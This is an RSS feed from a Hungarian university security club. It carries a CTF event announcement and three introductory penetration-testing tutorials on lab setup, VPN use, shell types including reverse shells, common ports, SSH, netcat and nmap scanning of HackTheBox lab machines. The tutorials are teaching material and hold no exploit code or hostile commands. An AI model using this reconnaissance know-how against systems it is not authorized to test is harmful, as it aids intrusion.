<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Posts on  SecurITeam</title>
        <link>https://securiteam.kszk.bme.hu/hu/posts/</link>
        <description>Recent content in Posts on  SecurITeam</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>hu</language>
        <copyright>&lt;a href=&#34;https://creativecommons.org/licenses/by-nc/4.0/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;CC BY-NC 4.0&lt;/a&gt;</copyright>
        <lastBuildDate>Sat, 28 Feb 2026 20:10:00 +0200</lastBuildDate>
        <atom:link href="https://securiteam.kszk.bme.hu/hu/posts/index.xml" rel="self" type="application/rss+xml" />
        
        <item>
            <title>SCHroot26_</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2026/02/schroot26_/</link>
            <pubDate>Sat, 28 Feb 2026 20:10:00 +0200</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2026/02/schroot26_/</guid>
            <description>&lt;p&gt;Szeretettel meghjvunk mindenkit az első SCHroot eseményre.&lt;/p&gt;
&lt;h2 id=&#34;regisztráció&#34;&gt;Regisztráció&lt;/h2&gt;
&lt;p&gt;Megnyílt az eseményünkre a regisztráció:
&lt;iframe
  src=&#34;https://luma.com/embed/event/evt-fBqF6mlnHRXt0M9/simple&#34;
  width=&#34;600&#34;
  height=&#34;450&#34;
  frameborder=&#34;0&#34;
  style=&#34;border: 1px solid #bfcbda88; border-radius: 4px;&#34;
  allow=&#34;fullscreen; payment&#34;
  aria-hidden=&#34;false&#34;
  tabindex=&#34;0&#34;
&gt;&lt;/iframe&gt;
&lt;/p&gt;
&lt;p&gt;A regisztrációra a &lt;strong&gt;határidő 2026. 03. 03.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Fontos közérdekű információ! Ezen a felületen csak, az regisztráljon, aki NEM lakik már a Schönherz kollégiumban. Akinek van jogviszonya a kollégiummal, az kérlek NE adja le az adatait. A regisztrált emberek adatait leadjuk majd a portán, így majd ti is betudtok jönni a kollégiumban, ahol az esemény is lesz, mint vendégek. Szintén fontos, az eseményre hozzátok el azt az igazoló okmányt (személyi), aminek a számát megadtátok a regisztrációnál, máskülönben a portások nem fognak beengedni titeket.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Szeretettel meghjvunk mindenkit az első SCHroot eseményre.</p>
<h2 id="regisztráció">Regisztráció</h2>
<p>Megnyílt az eseményünkre a regisztráció:
<iframe
  src="https://luma.com/embed/event/evt-fBqF6mlnHRXt0M9/simple"
  width="600"
  height="450"
  frameborder="0"
  style="border: 1px solid #bfcbda88; border-radius: 4px;"
  allow="fullscreen; payment"
  aria-hidden="false"
  tabindex="0"
></iframe>
</p>
<p>A regisztrációra a <strong>határidő 2026. 03. 03.</strong></p>
<p>Fontos közérdekű információ! Ezen a felületen csak, az regisztráljon, aki NEM lakik már a Schönherz kollégiumban. Akinek van jogviszonya a kollégiummal, az kérlek NE adja le az adatait. A regisztrált emberek adatait leadjuk majd a portán, így majd ti is betudtok jönni a kollégiumban, ahol az esemény is lesz, mint vendégek. Szintén fontos, az eseményre hozzátok el azt az igazoló okmányt (személyi), aminek a számát megadtátok a regisztrációnál, máskülönben a portások nem fognak beengedni titeket.</p>
<h2 id="programok">Programok:</h2>
<p>CTF feladatok, lockpicking, HTB-s emberek akik a meetupon is voltak szintén jönnek, illetve pár egyéb program amit egyelőre nem lövök le.</p>
<h2 id="ctf">CTF:</h2>
<p>Illetve arra szeretnék ösztönözni mindenkit, hogy hozzatok magatokkal is CTF feladatot, hogy megoszthassuk egymással ezeket, és a végén legyen egy nagy pool feladatokból, amin lehet bibelődni. Ha hoztok CTF feladatot, akkor nekem is elküldhetitek előre, hogy fel tudjuk tölteni majd a CTFd platformunkra, amin lehet majd ezeket megoldani.</p>
<p>Köszönöm szépen, és majd ott tali mindenkivel!</p>
]]></content>
        </item>
        
        <item>
            <title>Pentest alapok 1.</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2025/02/pentest-alapok-1./</link>
            <pubDate>Mon, 03 Feb 2025 10:08:28 +0100</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2025/02/pentest-alapok-1./</guid>
            <description>Cikk sorozat első része ami bevezetést ad a HackTheBox szerű feladatok megoldásába</description>
            <content type="html"><![CDATA[<p>Az informatikai rendszerek tervezése és megvalósítása során is egyaránt keletkezhetnek hibák, és ha tesztelés közben ezek nem derülnek ki és nincsenek kijavítva, akkor nem az a kérdés, hogy kihasználják-e ezeket a hibákat hanem az, hogy mikor. Ezért fontos a penetration testing. Az ehhez szükséges gyakorlatot és tudást, meg lehet szerezni úgynevezett box-okkal. Egy box egy szimulált környezet, rendszer, amibe a készítői szándékosan helyeztek el hibák(vulnerability) sorozatát, hogy ezek kihasználásával(exploit) a végén megszerezzük a célt, ami általában egy root, azaz adminisztrátori jogosultság, ami egyenlő azzal, hogy miénk(owned) a számítógépet. Ezután egy valós környezetben egy támadó azt tesz a rendszerrel, amit csak akar. Legyen ez egy&hellip;</p>
<ul>
<li>C&amp;C(Command and Control) rendszerbe való csatlakozása, ami perzisztens irányítást ad a támadónak akár ahhoz, hogy utána a gépünket egy zombinak használja egy botnetben</li>
<li>egy keylogger telepítése, ami leolvassa az összes billentyűleütést, beleértve a jelszavainkat</li>
<li>egy zsaroló program futtatása ami minden fájlunkat titkosítja</li>
</ul>
<p>Utólag is elnézést kérek a hunglish szöveg miatt, de a helyzet az, hogy a legtöbb tudásanyag ebben a témában angolul van, ezért talán jobb ha angolul maradnak meg egyes kifejezések.</p>
<h2 id="hackthebox">HackTheBox</h2>
<p>A cél az hogy tesztelés során mi találjuk meg a hibákat, ne pedig egy rosszindulatú személy éleskörnyezetben. Ahogy mondtam ezt lehet gyakorolni, és erre szerintem egy nagyon jó platformot biztosít egy bizonyos szintig, a HackTheBox azaz HTB. A neve azt hiszem mindent megmagyaráz. Ugyanakkor nem csak gyakorlásra van itt lehetőség, hanem elméleti tananyagot is lehet olvasni az Academy résznél. Az elmélet elsajátítása után a Labs résznél tudjátok gyakorolni és kipróbálni tudásotokat.</p>
<p>Ha esetleg felkeltette érdeklődéseteket a HTB, akkor a  regisztráció ingyenes, próbáljátok ki. Nekem(valko) nagyban segítetek, ha az alábbi referencia linken regisztráltok.</p>
<p><a href="https://referral.hackthebox.com/mzBWuf5">https://referral.hackthebox.com/mzBWuf5</a></p>
<p>A shameless promo után pedig jöjjön a tényleges segítség, az ilyen feladatok megoldásában. Mi, a SecurITeam, is adunk lehetőséget box-ok törésére, úgyhogy az itt tanult dolgokat, akár nálunk is tudjátok gyakorolni.</p>
<h2 id="penetration-tester-célja">Penetration tester célja</h2>
<p>Egy megbízott, biztonságot felmérő szakembernek a célja, hogy felderítse egy szervezet belső avagy külső hálózatában vagy rendszerében a hibákat. Ezen hibák lehetnek webes alkalmazásokban rejlő sérülékenységek, programok hibás konfigurációja vagy adatok nem szándékos kitevése. Ugyanakkor, neked mint ilyen szakembernek nem csak a felderítés a cél, hanem a szervezetet segítened is kell a hibák javítását elősegítő tanácsokkal.</p>
<h2 id="operációs-rendszer-választás">Operációs rendszer választás</h2>
<p>Bárki aki el szeretne helyezkedni az IT biztonság szakmájában, folyékonyan kell értenie nem csak a különféle technológiák használatához, hanem támadásához is. Értenünk kell Linux avagy Windows rendszerű számítógépek létrehozásához, karbantartásához úgy, hogy biztonságuk garantált legyen. Mint pentester, több lehetőséged van operációs rendszerek tekintetében.</p>
<p>Nincs olyan operációs rendszer, amely minden esetben rendelkezni fog a TE általad igényelt eszközökkel programokkal, de érdemes tudni, hogy léteznek olyan Debian alapú Linux disztribúciók, melyeken készen ott vannak azon programok, amik segítségedre jöhetnek munkáid során. Ilyen például a Kali Linux, vagy a Parrot OS. Ezen op rendszerek használata elégséges de nem szükséges, daily drivernek semmiféleképpen nem javaslom őket.</p>
<p>Tesztelés során érdemes virtuális gépeket használni, mivel így biztosítható a legnagyobb izoláció a saját rendszerünk és a tesztelés alatt álló rendszer között. Továbbá ha több rendszert is tesztelünk, akkor nem akarjuk, hogy az egyik bármely módon is befolyásolja a másikat. Erre több ingyenes virtualizációs szoftver is rendelkezésünkre áll legyen ez az Oracle VirtualBox vagy a VMware. Ha már találtunk is egy megfelelő disztribúciót, akkor érdemes a hivatalos oldalján találni hozzá egy OVA fájlt, ami egy előretelepített virtuális gépet tartalmaz az adott disztróhoz. Ez lehetővé teszi a gyors és tiszta deploy-t mindig.</p>
<h2 id="jegyzetelés">Jegyzetelés</h2>
<p>Talán trivia, de lehet pont ezért siklanak el felette sokan. Tesztelés során igazából útvonalat keresünk a rendszer belépési pontjától, a rootig. Ez az úttörés információ gyűjtéssel történik, és az információ saját szavainkba öntése, fontos az intúició színrelépése érdekében, de később is hasznukra válhat ha esetleg egyik út járhatatlannak bizonyul, és egy másik fogáspontot kell találnuk a célontunkon. Megbízóink számára is fontos, hogy lássák milyen úton, milyen gondolatmenettel használtuk ki rendszereiket, hiszen ha csak számukra csak annyi látszik, hogy valami fekete mágiával törték fel őket, azzal talán pont annyival előrébb lesznek javítás szempontjából, mintha meg se bíztak volna minket.</p>
<p>Jegyzeteléshez rengeteg eszköz és szabvány áll rendelkezésetekre, egyet amit tudok ajánlani, ami egyszerű de formázhatóságot biztosító opció, az a <strong>Markdown</strong> nyelv (ez a cikk is vele íródott :DD).</p>
<h2 id="vpn-használata">VPN használata</h2>
<p>VPN azaz a Virtual Private Network technológia, egy kliens és egy VPN szerver között teremt egy biztonságos csatornát, melyet különféle kriptográfiai protokollokkal biztosít. Ezt lehet, sőt ez a leggyakoribb használata, arra használni, hogy publikus hálózatokon keresztül a kliens elérjen egy privát hálózatot (pl. egy alkalmazott VPN-t használ, hogy otthonról elérje az irodai hálózatot). Lényegében a VPN azt éri el, hogy a hálózati forgalmunk kezdőpontja a VPN szerver legyen. Ezért használják sokan arra, hogy növeljék anonimitásukat az interneten. Ugyanakkor figyelmesnek kell lenni, mivel nem szabad abba az illúzióba esni, hogy a VPN visszakövethetetlenséget biztosít, mivel a legtöbb VPN szolgáltató elkér különféle személyes adatokat, melyeket hozzárendel a logokhoz, amik a mi forgalmunkról készültek. Ezt az összeköttetést persze hivatalos szervek kérésére bármikor kiadják.</p>
<p>Ha tényleg VPN-t akartok használni, mert nem szeretitek a sötétben világító figurák gondos figyelmét, akkor nyugodt szívvel tudom ajánlani a Mullvad VPN-t, ahol nem kell megadni semmi személyes adatot, sőt akár még készpénzzel is lehet fizetni.</p>
<p>A VPN-t viszont mi ebben a használati esetben, nem az anonimitás miatt fogjuk használni. Akár a HTB-t , akár KSZK-s boxokat használva, privát hálózatukon tudtok megoldani, azaz a boxokat nem tudjátok kivülről elérni. Ezért kell VPN-t használjatok, melyhez a konfigurációs fájlt, mindig eléritek az adott oldalon. Ugyanakkor lebegjen előttetek a <em>&ldquo;Ki itt belépsz, hagyj fel minden reménnyel!&rdquo;</em> szöveg, mivel mindig azt kell feltételezni, hogy a hálózat ahova beléptek ilyenkor nem biztonságos. Ezért érdemes SSH-nál letiltani a jelszós az autentikációt, minden webszervert leállítani és semmilyen érzékeny információt hagyni a VM-en, amit tesztelésre használunk.</p>
<p>VPN-t elindítani egy linux kliensen mi sem egyszerő ha a szerver OpenVPN-t használt (a cikk írásának pillanatában ez igaz a HTB-re és a KSZK-ra is):</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>sudo openvpn box_net.ovpn
</span></span></code></pre></div><p><strong>Kövesd a cikk sorozatot, hogy egyre mélyebben elmerüljél a tananyagban!</strong></p>
]]></content>
        </item>
        
        <item>
            <title>Pentest alapok 2.</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2025/02/pentest-alapok-2./</link>
            <pubDate>Mon, 03 Feb 2025 10:08:28 +0100</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2025/02/pentest-alapok-2./</guid>
            <description>Cikk sorozat második része ami bevezetést ad a HackTheBox szerű feladatok megoldásába</description>
            <content type="html"><![CDATA[<p>Az előző cikkben bevezettük a céljainkat és a lehetőségeinket a pentest gyakorlására, illetve VPN használatával is megismerkedtünk.</p>
<p>A 2. részben megismerkedünk az alapfogalmakkal és az alapeszközökkel, amelyeket gyakran használni fogunk gyakorlásaink során. A cikk nem fog egészen Ádámig és Éváig visszamenni, alapvető hálózati és számítógépes ismereteket megkövetel az alapos megértése.</p>
<h2 id="shell">Shell</h2>
<p>Egy operációs rendszer magas szinten szétbontható kettő jól elkülöníthető részre: kernel és shell. A kernel az, ami kezeli a hardvert (mint pl. virtuális memória, lapkezelés, feladat ütemezés, memória beolvasása, írása, adatvédelem, feladatok izolációja, tranzakciókezelés, fájlkezelés, perifériák illesztése stb.). Ilyen kernel a Linux Kernel is, amibe mai napig is rendszeresen jönnek ki frissítések. A shell az, amin keresztül a felhasználó adja a bemeneteket a számítógépnek, amely ezeket a kéréseket lefordítja a kernel nyelvére és átadja egy interfészen neki. Tehát egy híd, interfész, amivel felhasználóként beszélhetünk a számítógéppel, megfelelő jogosultsággal irányíthatjuk is azt. Ez régen az egyetlen módja volt egy számítógép használatának, de manapság már lehet használni grafikus felületeket (GUI) is.</p>
<p>Linuxon a shellnek a Bourne Again Shell-t, azaz bash-t használják shellnek ami az sh-nak egy fejlesztett változata. Előfordulhat, hogy mások egyéb, akár újabb, shell-eket használnak, mint például a zsh.</p>
<p>Támadóként sokszor a támadási vektorunk egy fontos része, hogy shell-t &ldquo;szerezzünk&rdquo; egy számítógéphez. Ez ahhoz szükséges, hogy áttörjünk a szolgáltatások és interfészek által megszabott, szabályszerű irányításon. Például van egy webszerver ami egy weboldalhoz tartozó kéréseket szolgál ki, és szabályszerű viselkedés az, hogy a felhasználó a weboldalon keresztül, megszabott kéréseket küldhet a szervernek (pl. GET index.html vagy ilyesmi). Ha viszont ezen a weboldalon van egy RCE (Remote Code Execution) hiba, azaz tetszőleges kódot futhathatunk az oldal mögött álló számítógépen, akkor könnyen levetkőztethejtük a számítógépet, leszedve weboldal absztrakcióját és közvetlen hozzáférést szerzünk, azaz shell-t.</p>
<p><strong>Kapcsolat szempontjából megkülönböztetünk többféle shell-t:</strong></p>
<ul>
<li>Reverse Shell</li>
<li>Bind Shell</li>
<li>Web Shell</li>
</ul>
<p>A <strong>Bind Shell</strong> egy portot (lásd később) magához rendel, és azon a porton hallgatózva várja a csatlakozni kívánó gépeket.
A <strong>Reverse Shell</strong> a leggyakoribb módja annak, hogy átvegyük az irányítást egy kompromitált gép felett. A &ldquo;reverse&rdquo; mivolta, onnan következik, hogy itt maga a támadó hallgatózik csatlakozásra várva, míg a célpont gép egy adott reverse shell-t indító kód következtében indítja el a kommunikációt a támadó géppel. Ez azért annyira hasznos, mivel legtöbb esetben az az alapmértelmezett beállítás tűzfalaknál, hogy bejövő forgalmat csak bizonyos portoknál fogad (pl. webszerver esetén 80 és 443), így nem lehet egy bind shell-t csinálni. Ugyanakkor a kimenő forgalmat nem szabályozza, és itt jön hasznunkra a reverse shell.</p>
<p><img alt="reverseshell" src="/reverse_shell.jpg"></p>
<p>Hogy hogyan tudunk reverse shell-t csinálni arról majd később.</p>
<h2 id="portok">Portok</h2>
<p>A reverse shell-nél szó esett a számítógépek kommunikációjánál a portokról. A portok lényegében olyanok, mint az ajtók, ablakok egy háznál, melyeken, ha nincsenek jól bezárva, illetéktelen is bejöhetnek. A portok szoftveres interfészek, melyek a hálózati kommunikáció kezdetei és végei. A portokhoz rendelhetőek folyamatok, melyek használják azokat. A portokat 0-65535 közötti egész számmal jelöljük. Egyes folyamatokat, protokollokat, úgynevezett well-known, azaz jól ismert, portokhoz kötünk, melyek a 0-1023-as tartományban vannak. Ilyen például a HTTP ami a 80-as port, vagy a HTTPS ami a 443. Továbbá az alábbi összerendeléseket érdemes tudni:</p>
<ul>
<li>20/21 (TCP)   - FTP</li>
<li>22 (TCP)      - SSH</li>
<li>23 (TCP)      - Telnet</li>
<li>25 (TCP)      - SMTP</li>
<li>80 (TCP)      - HTTP</li>
<li>161 (TCP/UDP)	- SNMP</li>
<li>389 (TCP/UDP)	- LDAP</li>
<li>443 (TCP)	    - SSL/TLS (HTTPS)</li>
<li>445 (TCP)	    - SMB</li>
<li>3389 (TCP)    - RDP</li>
</ul>
<h1 id="eszközök">Eszközök</h1>
<p>Nehéz megnevezni az <strong>SSH</strong>, <strong>Vim</strong>, <strong>Netcat</strong> és talán a <strong>Tmux</strong> programoknál alapabb eszközöket boxok megoldásánál. Ezek használatát fogjuk tárgyalni most.</p>
<h2 id="ssh">SSH</h2>
<p>A Secure Shell (SSH) hálózati protokoll, ami a 22-es porton működik alapméretezetten. Ez a protokoll lehetővé teszi a számítógép adminisztrátoroknak, illetve mezei felhasználóknak, hogy kriptográfiailag biztonságosan érjék el egy számítógép shell-jét. Egy titkosított csatornát biztosít távoli eléréshez. Fel lehet konfigurálni, hogy jelszóval vagy asszimetrikus kulcspárokkal autentikáljon, de az általános megegyezés az, hogy a jelszóval való autentikációt érdemes kikapcsolni, és a kriptográfialiag atombomba biztos szabványra támaszkodni.</p>
<p>Az SSH a kliens-szerver modell alapján müködik, miszerint az SSH szerver kiszolgálja a klienseket. Az OpenSSH például egy népszerű SSH kliens Linuxon. Az asszimetrikus kulcsú autentikációhoz először generálnunk kell egy kulcspárt, amely áll egy publikus és privát kulcsból. A biztonságosság alapját nem részletezném, akit esetleg érdekel az elolvashatja a <a href="https://securiteam.sch.bme.hu/hu/posts/2024/07/kriptogr%C3%A1fia-alapok-ny%C3%ADlv%C3%A1nos-kulcs%C3%BA-titkos%C3%ADt%C3%A1s/">Nyilvános kulcsú titkosítás</a>-ról szóló cikkünket. Generálni kulcsot az <strong>ssh-keygen</strong> utility-vel tudunk. Ezután a kulcsokat a /home/&lt;felhasználód&gt;/.ssh/ úton találod meg, ahol is .pub végződésű a publikus kulcsod, a másik meg a privát kulcsod. Az SSH szerveren, egy adott felhasználóhoz, úgy tudunk hozzáférést adni egy kulcs pár tulajdonosának, hogy a kulcs pár publikus kulcsát, az SSH szerveren a felhasználónak a ~/.ssh/authorized_keys fájl, ha már létezik, tartalma után kell másolni, ha nem akkor akkor létre kell hozni, egy ilyen fájlt benne a publikus kulccsal.</p>
<p>Hozzáférést SSH-n keresztül megfelelő belépési adatok nélkül szinte lehetetlen, de ha sikerül egy jelszót vagy egy privát kulcsot szereznünk a távoli gép felhasználójához, akkor perzisztensen ki-be tudunk járni a számítógépbe.</p>
<h2 id="vim">Vim</h2>
<p>Linux környezetben több alternatíva is van szövegszerkesztésre, de talán egyik legjobb a Vim. Vimben jól lehet szöveget szerkeszteni vagy programot is írni. Egyik legnagyobb előnye, hogy csak a billentyűzetet kell használni vele, ami miután az irányításokat elsajátítottad, nagyban növelni fogja a hatékonyságodat. Továbbá azt is illik megemlíteni, hogy nagyon minimális igényei vannak, így bármilyen környezetben elfut. Ha meg akarod tanulni használni, érdemes elolvasni a vimtutor-t, ami már elérhető magyar nyelven is. Sok sikert a kilépéshez :DD.</p>
<p>Itt van egy puska a gyorsgombokhoz: <a href="https://vimsheet.com/">https://vimsheet.com/</a></p>
<h2 id="netcat">Netcat</h2>
<p>A netcat, ncat vagy nc, egy nagyon hasznos eszköz a TCP/UDP portokkal való interaktáláshoz. Sok dologra lehet használni pentesting közben, de mi leginkább reverse shell-ekhez való kapcsolódásra fogjuk használni, amiről részletesebben később tudtok olvasni. Továbbá lehet használni arra, hogy bármilyen nyitott porthoz kapcsolódjunk és leolvassuk az ott futó szolgáltatást. Ezt a technikát &ldquo;Banner Grabbing&rdquo;-nak nevezik. Windowson elérhető a PowerShell-es netcat, a PowerCat. Ugyanakkor létezik a socat is, ami több funkcióval is rendelkezik, mint például port forwarding.</p>
<p><strong>Kövesd a cikk sorozatot, hogy egyre mélyebben elmerüljél a tananyagban!</strong></p>
]]></content>
        </item>
        
        <item>
            <title>Pentest alapok 3.</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2025/02/pentest-alapok-3./</link>
            <pubDate>Mon, 03 Feb 2025 10:08:28 +0100</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2025/02/pentest-alapok-3./</guid>
            <description>Cikk sorozat harmadik része ami bevezetést ad a HackTheBox szerű feladatok megoldásába</description>
            <content type="html"><![CDATA[<p>Az előző részek során sikerült körüljárnunk pár alapfogalommal és koncepcióval a penetration testing-et. A mostani cikkben tovább bővítjük az eszköztárunkat, és elkezdünk jobban elmerülni a gyakorlatban.</p>
<h2 id="szolgáltatás-enumeráció">Szolgáltatás enumeráció</h2>
<p>A hibák kihasználását, megelőzi a hibák megtalálása. Ehhez fel kell derítenünk, hogy mik okozhatnak hibát. Ilyenkor abba a szerepbe kell helyeznünk magunkat, mint egy külső támadó, azaz nem tudunk semmit a rendszer belső működésről, ezt úgy nevezzük, hogy <strong>black-box penetration testing</strong>. Tehát információt kell gyűjtenünk először. A gyűjtés fő célja, hogy meg tudjuk milyen operációs rendszer fut a teszt alatt lévő gépen, és milyen szolgáltatásokat szolgál.</p>
<p>Szolgáltatásnak nevezünk egy olyan programot, ami valamilyen feladatot lát el egy felhasználónak vagy gépnek. Egy szolgáltatás a világgal egy porton keresztül kommunikál a külvilággal, így egy támadó és ezáltal mi is a portokat, és az azokon lévő szolgáltatásokat fogjuk végignézni, hibákat keresve. A szolgáltatásoknál félrekonfigurációt, kihasználható jogosultságokat vagy nem szándékos működést keresünk.</p>
<p>Eddig a szolgáltatások elérésénél csak portokról volt szó, de ha egy hálózatban akarjuk a szolgáltatást elérni, akkor szükségünk van egy IP címre. Egy IP cím és egy port együtt egy &ldquo;socket&rdquo;-et alkotnak. Ez a kettő változó egyértelműen meghatároz egy célt egy számítógépen. Így egy számítógép, azaz egy IP cím esetén, összesen 65535 portot kellene megvizsgálnunk. Ha ezt manuálisan tennénk, lehet a Naprendszer is kihűle mire végeznénk. Szerencsére léteznek programok, amik automatizálják ezt a folyamatot. Az erre a feladatra leghasználtabb szoftver az <strong>Nmap</strong>(Network Mapper).</p>
<h2 id="nmap">Nmap</h2>
<p>Az Nmap egy nyílt forráskódú, hálózati felfedezésre és biztonsági aduitációra használt szoftver. Több hálózaton lévő eszköz vizsgálatára is képes, de mi főként csak egy célponton fogjuk használni.</p>
<p>Kimenete megad egy táblát, mely tartalmazza a célpont portjait, protokolljait és szolgáltatásait. A portoknál lehet az állapot open, filtered vagy closed. A zárt portoknál nincsen szolgáltatás ami hallgatozna rajtuk. Nyitott port azt jelenti, hogy van szolgáltatás mögötte. Szűrt pedig azt jelenti, hogy a tűzfal valamilyen szabálya megakadályozza az nmap-ot, hogy megállapítsa a port állapotát. A táblázat továbbá, megfelelő felparaméterezésnél, tartalmazza a szolgáltatások verzióját is, amely sokszor hasznos nekünk, hiszen régi verzióknál előfordulhatnak sérülékenységek, melyeket kihasználhatjuk.</p>
<p>Most pedig nézzük meg ezt példákon keresztül.</p>
<p>Kezdjük a legegyszerűbb szkenne, ahol arra láttok példát hogy a 10.129.47.125 címen elérhető számítógépet vizsgáljuk. Alapméretezetten az nmap csak az első 1000 portot vizsgálja. Ezek közül itt látszik, hogy a 135, 139, 445 és 5985 port van nyitva.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>/home/valko [valko@base] [11:22]
</span></span><span style="display:flex;"><span>&gt; nmap 10.129.47.125
</span></span><span style="display:flex;"><span>Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-08 11:22 CET
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#fff;font-weight:bold">for</span> 10.129.47.125
</span></span><span style="display:flex;"><span>Host is up (0.049s latency).
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ff0;font-weight:bold">996</span> closed tcp ports (conn-refused)
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE
</span></span><span style="display:flex;"><span>135/tcp  open  msrpc
</span></span><span style="display:flex;"><span>139/tcp  open  netbios-ssn
</span></span><span style="display:flex;"><span>445/tcp  open  microsoft-ds
</span></span><span style="display:flex;"><span>5985/tcp open  wsman
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Nmap <span style="color:#fff;font-weight:bold">done</span>: <span style="color:#ff0;font-weight:bold">1</span> IP address (<span style="color:#ff0;font-weight:bold">1</span> host up) scanned in 0.87 seconds
</span></span></code></pre></div><p>Következő példában az <strong>-sV</strong> paramétert használjuk egy másik gépen. Az <strong>-sV</strong>-vel az nmap megpróbálja az adott szolgáltatás verzióját is lekérdezni, ami ahogy említettem sokszor hasznos információ nekünk. Továbbá a <strong>-p</strong> paramétert is használtam ami után megadhatjuk, hogy a 0-65535 tartományban, melyik portokat ellenőrizzük. Ha minden portot szeretnénk ellenőrizni azt a <strong>-p-</strong> paraméterrel tudjuk jelölni, ez viszont hoszabb ideig is eltarthat. A példában látszik, hogy a szolgáltatás verziójén kívül, az operációs rendszert is megtudta állapítani.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>/home/valko [valko@base] [11:55]
</span></span><span style="display:flex;"><span>&gt; nmap -sV -p0-2000 10.129.113.80
</span></span><span style="display:flex;"><span>Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-08 11:55 CET
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#fff;font-weight:bold">for</span> 10.129.113.80
</span></span><span style="display:flex;"><span>Host is up (0.048s latency).
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ff0;font-weight:bold">2000</span> closed tcp ports (conn-refused)
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>21/tcp open  ftp     vsftpd 3.0.3
</span></span><span style="display:flex;"><span>Service Info: OS: Unix
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#fff;font-weight:bold">done</span>: <span style="color:#ff0;font-weight:bold">1</span> IP address (<span style="color:#ff0;font-weight:bold">1</span> host up) scanned in 4.74 seconds
</span></span></code></pre></div><p>Utolsó paraméter amit megakarok mutatni az az <strong>-sC</strong>, ami alapméretezetten le fog futtatni pár default szkriptet a porton, hogy több információt kicsikarjon belőle egy szolgáltatás esetén. Az előző címen használva láthajuk, hogy itt igazán hasznosnak bizonyult ez a funkció, mivel megtudta mondani az FTP szerverről, hogy az Anonymous login be van kapcsolva, azaz jelszó nélkül be tudunk jeletkezni. A flag.txt is ott figyel az FTP szerveren :)).</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>/home/valko [valko@base] [11:55]
</span></span><span style="display:flex;"><span>&gt; nmap -sV -sC -p0-2000 10.129.113.80
</span></span><span style="display:flex;"><span>Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-08 12:02 CET
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#fff;font-weight:bold">for</span> 10.129.113.80
</span></span><span style="display:flex;"><span>Host is up (0.047s latency).
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ff0;font-weight:bold">2000</span> closed tcp ports (conn-refused)
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>21/tcp open  ftp     vsftpd 3.0.3
</span></span><span style="display:flex;"><span>| ftp-syst:
</span></span><span style="display:flex;"><span>|   STAT:
</span></span><span style="display:flex;"><span>| FTP server status:
</span></span><span style="display:flex;"><span>|      Connected to ::ffff:10.10.14.242
</span></span><span style="display:flex;"><span>|      Logged in as ftp
</span></span><span style="display:flex;"><span>|      TYPE: ASCII
</span></span><span style="display:flex;"><span>|      No session bandwidth limit
</span></span><span style="display:flex;"><span>|      Session timeout in seconds is <span style="color:#ff0;font-weight:bold">300</span>
</span></span><span style="display:flex;"><span>|      Control connection is plain text
</span></span><span style="display:flex;"><span>|      Data connections will be plain text
</span></span><span style="display:flex;"><span>|      At session startup, client count was <span style="color:#ff0;font-weight:bold">4</span>
</span></span><span style="display:flex;"><span>|      vsFTPd 3.0.3 - secure, fast, stable
</span></span><span style="display:flex;"><span>|_End of status
</span></span><span style="display:flex;"><span>| ftp-anon: Anonymous FTP login allowed (FTP code 230)
</span></span><span style="display:flex;"><span>|_-rw-r--r--    <span style="color:#ff0;font-weight:bold">1</span> <span style="color:#ff0;font-weight:bold">0</span>        <span style="color:#ff0;font-weight:bold">0</span>              <span style="color:#ff0;font-weight:bold">32</span> Jun <span style="color:#ff0;font-weight:bold">04</span>  <span style="color:#ff0;font-weight:bold">2021</span> flag.txt
</span></span><span style="display:flex;"><span>Service Info: OS: Unix
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#fff;font-weight:bold">done</span>: <span style="color:#ff0;font-weight:bold">1</span> IP address (<span style="color:#ff0;font-weight:bold">1</span> host up) scanned in 5.10 seconds
</span></span></code></pre></div><p>Több paraméterrel is el lehet létni egy nmap utasítást, de többet nem nagyon szeretnék részletezni. Ugyanakkor ha kiváncsi vagy, egy  <code>man nmap</code>-pal mindig el tudod olvasni az nmap használati utasítását.</p>
